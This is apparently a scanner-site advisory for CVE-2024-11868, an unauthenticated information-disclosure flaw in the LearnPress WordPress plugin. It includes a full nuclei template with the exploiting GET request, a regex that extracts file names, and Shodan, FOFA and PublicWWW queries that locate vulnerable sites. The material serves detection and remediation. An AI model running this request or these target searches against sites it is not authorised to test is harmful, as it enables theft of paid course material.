LearnPress < 4.2.7.4 - Course Material - Information Disclosure

mediumseverity

5.3CVSS score

1.2%likelihood of exploitation, next 30 days

68%of all CVEs are less likely

Readycheck to confirm it

LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by insecure handling in class-lp-rest-material-controller.php, letting unauthenticated attackers extract paid course material, exploit requires no authentication.

Impact

Unauthenticated attackers can access and extract sensitive paid course content, leading to intellectual property theft and privacy breaches.

Fix

Update to the latest version beyond 4.2.7.3 or apply security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/wp-json/lp/v1/material/item-materials/1
Positive when: contains "\"status\"" AND contains "\"success\"" and "\"message\"" AND contains in header "application/json" AND not contains "rest_no_route" or "No route was found" AND status 200

Run it with nuclei: nuclei -id CVE-2024-11868 -u <target>

The full check

id: CVE-2024-11868

info:
  name: LearnPress < 4.2.7.4 - Course Material - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by insecure handling in class-lp-rest-material-controller.php, letting unauthenticated attackers extract paid course material, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access and extract sensitive paid course content, leading to intellectual property theft and privacy breaches.
  remediation: Update to the latest version beyond 4.2.7.3 or apply security patches provided by the vendor.
  reference:
    - https://wpscan.com/vulnerability/7524ffd8-3506-48f7-89b6-d07b40533756/8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-11868
    epss-score: 0.01162
    epss-percentile: 0.67481
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/learnpress/"
    fofa-query: body="/wp-content/plugins/learnpress/"
    shodan-query: http.html:"/wp-content/plugins/learnpress/"
  tags: cve,cve2024,wordpress,wp-plugin,wp-scan,learnpress,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/lp/v1/material/item-materials/1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status"'
        condition: and

      - type: word
        part: body
        words:
          - '"success"'
          - '"message"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - 'rest_no_route'
          - 'No route was found'
        negative: true
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: material_file
        part: body
        regex:
          - '"file_name"\s*:\s*"([^"]+)"'
        group: 1

References

https://wpscan.com/vulnerability/7524ffd8-3506-48f7-89b6-d07b40533756/8

Use this check only on systems you are authorised to test. Where the data comes from